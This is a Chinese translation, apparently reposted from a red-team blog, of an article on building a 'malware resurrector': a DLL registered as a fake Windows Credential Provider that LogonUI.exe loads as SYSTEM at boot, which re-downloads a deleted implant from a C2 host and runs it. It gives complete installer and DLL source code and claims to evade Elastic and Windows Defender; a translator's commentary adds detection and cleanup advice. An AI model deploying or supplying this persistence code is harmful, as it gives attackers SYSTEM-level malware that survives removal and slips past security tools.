文章总结: 本文详细介绍了通过将DLL注册为WindowsCredentialProvider实现恶意软件持久化的技术,利用LogonUI.exe以SYSTEM权限加载DLL,实现植入体被删除后从C2服务器自动下载并重新运行。文章提供了完整代码实现,包括注册表操作、DllMain线程创建、持久化检查逻辑及WinHTTP下载功能,并声称实测可绕过Elastic与WindowsDefender检测。该技术属于高级恶意软件持久化手法,具有较高技术深度和完整可操作性。
综合评分: 72
文章分类: 恶意软件,红队,免杀,安全工具
恶意软件复活器:把 DLL 注册成 Credential Provider,开机以 SYSTEM 拉回被删的植入体
S12
S12
赛博生存指南
2026年9月22日 08:18
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
原文:https://medium.com/@s12deff/malware-resurrector-via-windows-credential-provider-dll-sideloading-c82efeac4054
作者:S12 – 0x12Dark Development
发布时间:2026-09-20
翻译模型:GLM-5.3
编者按:同一位作者(S12)的第五篇译介。前四篇玩的是 BYOVD 句柄表,这篇不需要漏洞驱动,只要一次性管理员权限:往注册表里塞一个「假」Credential Provider,之后每次开机、任何用户登录之前,LogonUI.exe 都会以 SYSTEM 身份把对应的 DLL 加载起来。这个 DLL 不实现任何登录功能——COM 加载本身就是它要的全部:DllMain 里把自己钉进内存、撒一个线程出去,发现植入体被删就从 C2 拉回来重跑。全文代码完整,实测 Elastic 与 Windows Defender 均无告警。
引言
欢迎来到新的一篇。这次我们用 Windows Credential Provider(Windows 登录界面的凭据提供组件)造一个「恶意软件复活器」。思路很简单:把一个 DLL 注册成 Credential Provider,让它每次开机都以 SYSTEM 身份被加载;这个 DLL 检查我们的植入体还在不在磁盘上——不在,就从 C2 下载回来并运行。
本文假设你知道 COM 是什么、LoadLibrary 怎么工作、DLL 入口长什么样——不从零讲起。
COM Process Server
COM 通过注册表把类标识符(CLSID)映射到一个 DLL 路径。当 COM 客户端调用 CoCreateInstance 时,运行时读取 InprocServer32 的值,然后对那个路径调 LoadLibrary。标准注册形态:
HKCR\CLSID\{YOUR-GUID}\
(default) = "Name"
InprocServer32\
(default) = "C:\path\to\your.dll"
ThreadingModel = "Apartment"
ThreadingModel = Apartment 是任何要跟 UI 组件交互的 COM server 的硬性要求。
Credential Provider 注册
第二个键告诉 LogonUI.exe:把这个 CLSID 当作一个 Credential Provider:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{YOUR-GUID}
(default) = "Friendly Name"
每次开机,LogonUI.exe 枚举这个键下的所有 CLSID,对每一个调 CoCreateInstance。我们的 DLL 就这样以 SYSTEM 身份被加载——此时还不存在任何用户会话。
方法论
- 往同一目录放两个二进制:Resurrector.exe(安装器)和 Resurrector.dll(持久器)
- 以管理员身份运行 Resurrector.exe。它把自己的路径写进 HKLM\SOFTWARE\MyProvider\LoaderPath,并把 DLL 注册成一个自定义 CLSID 的 Credential Provider
- 每次开机,LogonUI.exe 经 COM 以 SYSTEM 加载 Resurrector.dll
- DllMain 把 DLL 钉在内存里,并起一个线程
- 线程从注册表读 LoaderPath,检查 exe 是否还在磁盘上;在,就直接退出
- exe 没了,线程就用 WinHTTP 走 HTTP 从 C2 下载它,写回原来的路径
- 再用 CreateProcess 以 SYSTEM 把 exe 跑一遍,由它把自己和 DLL 重新注册
[Boot]
LogonUI.exe
CoCreateInstance({4206A801-...})
LoadLibrary(Resurrector.dll)
DllMain: DLL_PROCESS_ATTACH
CreateThread(PersistenceCheck)
ReadReg(HKLM\SOFTWARE\MyProvider\LoaderPath)
|
+-- FileExists? YES --> return (implant alive)
|
+-- FileExists? NO
DownloadFile(C2_HOST:80/Loader.exe)
WriteToDisk(exePath)
CreateProcess(exePath) --> runs as SYSTEM
实现
安装器:写注册表
exe 把自己的扩展名替换成 .dll 得到 DLL 路径;先写 loader 路径记录,再注册 COM 与 Credential Provider 的键。alreadyRegistered 检查防止重复运行时重复注册,但路径记录每次都会刷新。
// Resurrector.exe — installer
intmain(){
wchar_t exePath[MAX_PATH] = {};
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
// derive DLL path — same dir, same name, .dll extension
wchar_t dllPath[MAX_PATH] = {};
wcscpy_s(dllPath, exePath);
wchar_t* ext = wcsrchr(dllPath, L'.');
if (ext)
wcscpy_s(ext, 5, L".dll");
wchar_t clsidKey[512] = {};
wchar_t inprocKey[512] = {};
wchar_t cpKey[512] = {};
swprintf_s(clsidKey, L"CLSID\\%s", CLSID_STR);
swprintf_s(inprocKey, L"CLSID\\%s\\InprocServer32", CLSID_STR);
swprintf_s(cpKey, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
L"Authentication\\Credential Providers\\%s", CLSID_STR);
bool alreadyRegistered = KeyExists(HKEY_CLASSES_ROOT, inprocKey) &&
KeyExists(HKEY_LOCAL_MACHINE, cpKey);
// always refresh the loader path so the DLL always has the right path
WriteRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE, exePath);
if (!alreadyRegistered) {
WriteRegString(HKEY_CLASSES_ROOT, clsidKey, nullptr, FRIENDLY_NAME);
WriteRegString(HKEY_CLASSES_ROOT, inprocKey, nullptr, dllPath);
WriteRegString(HKEY_CLASSES_ROOT, inprocKey, L"ThreadingModel", L"Apartment");
WriteRegString(HKEY_LOCAL_MACHINE, cpKey, nullptr, FRIENDLY_NAME);
}
}
DllMain:先钉住,再起线程
pin 必须发生在起线程之前。如果先起线程、pin 还没执行 COM 就调了 FreeLibrary,线程就已经死了。
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);
// pin the DLL so FreeLibrary cannot unmap it while the thread runs
HMODULE hMod = nullptr;
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN,
(LPCWSTR)DllMain, &hMod);
HANDLE hThread = CreateThread(nullptr, 0, PersistenceCheck, nullptr, 0, nullptr);
if (hThread)
CloseHandle(hThread);
}
return TRUE;
}
PersistenceCheck:读、检查、复活
DWORD WINAPI PersistenceCheck(LPVOID){
wchar_t exePath[MAX_PATH] = {};
if (!ReadRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE,
exePath, MAX_PATH))
return1;
// implant is alive, nothing to do
if (FileExists(exePath))
return0;
// implant is gone, fetch from C2
std::vector<BYTE> payload;
if (!DownloadFile(C2_HOST, C2_PORT, C2_PATH, payload))
return1;
if (!WriteToDisk(exePath, payload))
return1;
RunProcess(exePath);
return0;
}
下载:WinHTTP 分块读取
boolDownloadFile(constwchar_t* host, INTERNET_PORT port,
constwchar_t* path, std::vector<BYTE>& outBytes){
HINTERNET hSession = WinHttpOpen(nullptr, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, nullptr, WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, nullptr);
DWORD available = 0;
while (WinHttpQueryDataAvailable(hRequest, &available) && available > 0) {
size_t offset = outBytes.size();
outBytes.resize(offset + available);
DWORD read = 0;
WinHttpReadData(hRequest, outBytes.data() + offset, available, &read);
if (read < available)
outBytes.resize(offset + read);
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return !outBytes.empty();
}
完整代码
DLL:
#include<windows.h>
#include<winhttp.h>
#include<vector>
#include<cstdarg>
#include<cstdio>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "advapi32.lib")
voidDebugLog(constwchar_t* format, ...){
wchar_t message[1024];
va_list args;
va_start(args, format);
_vsnwprintf_s(message, _countof(message), _TRUNCATE, format, args);
va_end(args);
HANDLE hFile = CreateFileW(L"C:\\Temp\\MyDLL.log", FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
return;
}
SYSTEMTIME time;
GetLocalTime(&time);
wchar_t line[1200];
swprintf_s(line, _countof(line), L"[%02d:%02d:%02d.%03d] %ls\r\n", time.wHour, time.wMinute, time.wSecond, time.wMilliseconds, message);
char utf8[2400];
int size = WideCharToMultiByte(CP_UTF8, 0, line, -1, utf8, sizeof(utf8), nullptr, nullptr);
if (size > 0) {
DWORD written = 0;
WriteFile(hFile, utf8, size - 1, &written, nullptr);
}
CloseHandle(hFile);
}
constwchar_t* EXE_RECORD_KEY = L"SOFTWARE\\MyProvider";
constwchar_t* EXE_RECORD_VALUE = L"LoaderPath";
constwchar_t* C2_HOST = L"192.168.1.113";
constwchar_t* C2_PATH = L"/Loader.exe";
const INTERNET_PORT C2_PORT = 80;
boolReadRegString(HKEY root, constwchar_t* path, constwchar_t* valueName, wchar_t* out, DWORD outSize){
DebugLog(L"ReadRegString: %ls", path);
HKEY hKey = nullptr;
LONG result = RegOpenKeyExW(root, path, 0, KEY_READ, &hKey);
if (result != ERROR_SUCCESS) {
DebugLog(L"RegOpenKeyExW failed: %ld", result);
returnfalse;
}
DWORD type = 0;
DWORD size = outSize * sizeof(wchar_t);
result = RegQueryValueExW(hKey, valueName, nullptr, &type, (LPBYTE)out, &size);
RegCloseKey(hKey);
DebugLog(L"ReadRegString result: %ld", result);
return result == ERROR_SUCCESS && type == REG_SZ;
}
boolFileExists(constwchar_t* path){
DebugLog(L"FileExists: %ls", path);
DWORD attr = GetFileAttributesW(path);
return attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY);
}
boolDownloadFile(constwchar_t* host, INTERNET_PORT port, constwchar_t* path, std::vector<BYTE>& outBytes){
DebugLog(L"DownloadFile: %ls:%u%ls", host, port, path);
HINTERNET hSession = WinHttpOpen(nullptr, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) {
DebugLog(L"WinHttpOpen failed: %lu", GetLastError());
returnfalse;
}
HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
if (!hConnect) {
DebugLog(L"WinHttpConnect failed: %lu", GetLastError());
WinHttpCloseHandle(hSession);
returnfalse;
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
if (!hRequest) {
DebugLog(L"WinHttpOpenRequest failed: %lu", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
returnfalse;
}
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) || !WinHttpReceiveResponse(hRequest, nullptr)) {
DebugLog(L"WinHttp request failed: %lu", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
returnfalse;
}
DWORD available = 0;
while (WinHttpQueryDataAvailable(hRequest, &available) && available > 0) {
size_t offset = outBytes.size();
outBytes.resize(offset + available);
DWORD read = 0;
WinHttpReadData(hRequest, outBytes.data() + offset, available, &read);
if (read < available) {
outBytes.resize(offset + read);
}
}
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
DebugLog(L"DownloadFile completed: %zu bytes", outBytes.size());
return !outBytes.empty();
}
boolWriteToDisk(constwchar_t* filePath, const std::vector<BYTE>& data){
DebugLog(L"WriteToDisk: %ls (%zu bytes)", filePath, data.size());
HANDLE hFile = CreateFileW(filePath, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
DebugLog(L"CreateFileW failed: %lu", GetLastError());
returnfalse;
}
DWORD written = 0;
bool ok = WriteFile(hFile, data.data(), (DWORD)data.size(), &written, nullptr);
CloseHandle(hFile);
DebugLog(L"WriteToDisk result: %s", ok ? L"success" : L"failed");
return ok && written == (DWORD)data.size();
}
boolRunProcess(wchar_t* exePath){
DebugLog(L"RunProcess: %ls", exePath);
STARTUPINFOW si = {};
si.cb = sizeof(si);
PROCESS_INFORMATION pi = {};
bool ok = CreateProcessW(nullptr, exePath, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
if (ok) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
DebugLog(L"CreateProcessW failed: %lu", GetLastError());
}
return ok;
}
DWORD WINAPI PersistenceCheck(LPVOID){
DebugLog(L"PersistenceCheck started");
// Read the loader path the .exe wrote at install time
wchar_t exePath[MAX_PATH] = {};
if (!ReadRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE, exePath, MAX_PATH))
return1;
// If the .exe is still on disk, nothing to do
if (FileExists(exePath)) {
DebugLog(L"Loader exists: %ls", exePath);
return0;
}
// Download the loader from the C2 and write it back to the original path
std::vector<BYTE> payload;
if (!DownloadFile(C2_HOST, C2_PORT, C2_PATH, payload)) {
DebugLog(L"DownloadFile failed");
return1;
}
if (!WriteToDisk(exePath, payload)) {
DebugLog(L"WriteToDisk failed");
return1;
}
// run the loader so it re registers itself
RunProcess(exePath);
DebugLog(L"PersistenceCheck finished");
return0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
if (fdwReason == DLL_PROCESS_ATTACH) {
DebugLog(L"DLL_PROCESS_ATTACH");
DisableThreadLibraryCalls(hinstDLL);
HMODULE hMod = nullptr;
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN, (LPCWSTR)DllMain,&hMod);
HANDLE hThread = CreateThread(nullptr, 0, PersistenceCheck, nullptr, 0, nullptr);
if (hThread) {
CloseHandle(hThread);
}
else {
DebugLog(L"CreateThread failed: %lu", GetLastError());
}
}
return TRUE;
}
Resurrector(exe):
#include<iostream>
#include<windows.h>
usingnamespace std;
constwchar_t* CLSID_STR = L"{4206A801-CF35-4AE0-9B14-438917AE811C}";
constwchar_t* FRIENDLY_NAME = L"Resurrector";
constwchar_t* EXE_RECORD_KEY = L"SOFTWARE\\MyProvider";
constwchar_t* EXE_RECORD_VALUE = L"LoaderPath";
boolKeyExists(HKEY root, constwchar_t* path){
HKEY hKey = nullptr;
LONG result = RegOpenKeyExW(root, path, 0, KEY_READ, &hKey);
if (result == ERROR_SUCCESS) {
RegCloseKey(hKey);
returntrue;
}
returnfalse;
}
boolWriteRegString(HKEY root, constwchar_t* path, constwchar_t* valueName, constwchar_t* data){
HKEY hKey = nullptr;
LONG result = RegCreateKeyExW(root, path, 0, nullptr, REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
if (result != ERROR_SUCCESS) {
returnfalse;
}
DWORD dataSize = (DWORD)((wcslen(data) + 1) * sizeof(wchar_t));
result = RegSetValueExW(hKey, valueName, 0, REG_SZ, (const BYTE*)data, dataSize);
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
intmain(){
wchar_t exePath[MAX_PATH] = {};
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
wchar_t dllPath[MAX_PATH] = {};
wcscpy_s(dllPath, exePath);
wchar_t* ext = wcsrchr(dllPath, L'.');
if (ext) {
wcscpy_s(ext, 5, L".dll");
}
// credential provider
wchar_t clsidKey[512] = {};
wchar_t inprocKey[512] = {};
wchar_t cpKey[512] = {};
swprintf_s(clsidKey, L"CLSID\\%s", CLSID_STR);
swprintf_s(inprocKey, L"CLSID\\%s\\InprocServer32", CLSID_STR);
swprintf_s(cpKey, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\%s", CLSID_STR);
// check if the dll is already in the cred provider
bool alreadyRegistered = KeyExists(HKEY_CLASSES_ROOT, inprocKey) && KeyExists(HKEY_LOCAL_MACHINE, cpKey);
if (!WriteRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE, exePath)) {
MessageBoxW(nullptr, L"Failed to write loader path record.", L"Error", MB_OK | MB_ICONERROR);
return1;
}
if (alreadyRegistered) {
MessageBoxW(nullptr, L"Credential provider already registered.", L"Status", MB_OK | MB_ICONINFORMATION);
return0;
}
if (!WriteRegString(HKEY_CLASSES_ROOT, clsidKey, nullptr, FRIENDLY_NAME) ||
!WriteRegString(HKEY_CLASSES_ROOT, inprocKey, nullptr, dllPath) ||
!WriteRegString(HKEY_CLASSES_ROOT, inprocKey, L"ThreadingModel", L"Apartment")) {
MessageBoxW(nullptr, L"Failed to write COM keys.", L"Error", MB_OK | MB_ICONERROR);
return1;
}
if (!WriteRegString(HKEY_LOCAL_MACHINE, cpKey, nullptr, FRIENDLY_NAME)) {
MessageBoxW(nullptr, L"Failed to write Credential Providers key.", L"Error", MB_OK | MB_ICONERROR);
return1;
}
MessageBoxW(nullptr, L"Credential provider registered successfully.", L"Status", MB_OK | MB_ICONINFORMATION);
return0;
}
概念验证
跑起来看看:
接下来只需重启系统。如果文件已经不在了,DLL 会自动把它下载回来。这里是一段简单的 PoC 演示视频https://youtu.be/GgtLNM0rB_A。
检测
这次扫描的结果在这里:扫描结果https://0x12darksandbox.net/results/336。
Elastic 和 Windows Defender 都没有告警。但沙箱结果里能看到注册表变更:
结论
Windows Credential Provider 是一个每次开机、任何用户登录之前就运行的 SYSTEM 执行环境。在那里加载一个会把被删植入体下载回来的 DLL,你得到的就是挺得过人工清理的持久化。唯一的硬门槛是管理员权限。
译者解读
一、这个 DLL 根本不是合法的 Credential Provider。 通读完整代码会发现,DLL 没有导出 DllGetClassObject,也没有任何 ICredentialProvider 实现——LogonUI 对它调 CoCreateInstance 时,COM 加载 DLL、跑完 DllMain,接着找 DllGetClassObject 必然失败,整个调用以错误收场。但这无所谓:加载本身就是目的,DllMain 里已经把模块 PIN 进内存、已经把线程撒了出去。PIN(GET_MODULE_HANDLE_EX_FLAG_PIN)挡的是 CoCreateInstance 失败后 COM 随之而来的 FreeLibrary,这也解释了作者为什么强调 pin 必须发生在起线程之前:模块一旦被解除映射,线程要跑的代码就没了。标题里的「Sideloading」要按这个角度理解:它跟经典意义「让合法进程替你执行 DLL」的侧加载不是一回事,而是寄生在 Credential Provider 的 COM 枚举机制上,被 LoadLibrary 一次即完成使命。
二、值得学的是持久层与工作层分离的结构。 自启动位置本身不值钱,Windows 里到处都是。这套设计有意思的地方是把「维持驻留」和「干活」拆开互相兜底:CP DLL 是持久层,注册表键在,开机必被加载;植入体是工作层,可以被删,删了会被拉回来,拉回来重跑时又顺手刷新注册表(main() 里 alreadyRegistered 检查会跳过重复注册,LoaderPath 每次刷新)。对应急响应的含义很直接:只删 exe 是无效清理,开机后 DLL 会把它拉回来;有效清理必须一次清根——DLL 文件、HKCR\CLSID{GUID} 两处 COM 键、Credential Providers 键,缺一处都可能复活或被重建。
三、执行面安静,结构面很吵。 沙箱结论「Elastic 与 Defender 都没告警」不意外:这个 DLL 不带恶意特征,也不做注入或进程篡改,行为只是「注册一个新 CLSID 的 COM DLL」加「开机联网下载文件」。但留下的结构痕迹极强。其一,正常系统的 Authentication\Credential Providers 键集合基本稳定,新增未知 CLSID 是高信噪比信号,Sysmon EID 13/4657 盯这条路径即可,Sigma 社区已有现成规则。其二,合法 Credential Provider 全部随系统分发、带微软签名,InprocServer32 指向 System32 之外的无签名 DLL 即异常。其三,LogonUI.exe 出现对裸 IP 80 端口的 HTTP 出站连接(Sysmon EID 3)本身就该报警。其四,LogonUI.exe 从用户可写路径加载 DLL(Sysmon EID 7)。任一命中都足以定性。这条链的 OPSEC 短板全在驻留结构上,执行动作反倒是干净的。
四、ATT&CK 映射与系列脉络。 手法属 T1547(Boot or Logon Autostart Execution)大类;ATT&CK 官方没给 Credential Providers 单独的子技术,社区通常把它与 T1547.005(Security Support Provider,同样是被登录链路加载的第三方 DLL)并列处理。跟前四篇 BYOVD 相比,这篇把门槛换了位置:不再需要漏洞驱动,只要一次性管理员权限,换来的是 SYSTEM、登录前、无用户会话的执行时机,与本仓库《Plug and Pwn》的 PnP 安装路径殊途同归(那条路连管理员权限都不需要)。代码本身是教学级 OPSEC:明文 HTTP 裸 IP 的 C2、往 C:\Temp\MyDLL.log 写调试日志、注册表键名直接叫 MyProvider、CLSID 是写死的 PoC 值,真要武器化全得换;但骨架是通用的:注册、pin、线程、检查、拉回。
五、两个作者没展开的细节。 其一,在 DllMain 里 CreateThread,新线程并不会立刻跑起来:它的启动要等 loader lock 释放(即 DllMain 返回)之后。本文 DllMain 很快返回所以无碍;若在 DllMain 里做更重的事,就会看到「线程创建成功却迟迟不动」的假死。DisableThreadLibraryCalls 则省掉了后续线程的 DLL_THREAD_ATTACH 通知,在 LogonUI 这种关键进程里少惹一轮回调。其二,本文演示的触发点是开机(登录界面出现)——LogonUI.exe 在登录完成后即退出,PIN 住的 DLL 随进程一起消失。所以这套机制更像「每次登录界面出现前跑一次的钩子」而非常驻守护,两次开机之间的常驻由拉回来的植入体自己承担,复活器自己并不在场。
参考资源
- 原文:Malware Resurrector via Windows Credential Provider DLL Sideloading:https://medium.com/@s12deff/malware-resurrector-via-windows-credential-provider-dll-sideloading-c82efeac4054
- PoC 演示视频:https://youtu.be/GgtLNM0rB_A
- 沙箱扫描结果(0x12DarkSandbox,No.336):https://0x12darksandbox.net/results/336
- Credential Providers 官方文档(Microsoft Learn):https://learn.microsoft.com/en-us/windows/win32/secauthn/credential-providers-in-windows
- 作者课程站(原文内嵌推广):https://0x12darkdev.net
- 作者 X:https://x.com/Salsa12__
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博生存指南 S12
S12《恶意软件复活器:把 DLL 注册成 Credential Provider,开机以 SYSTEM 拉回被删的植入体》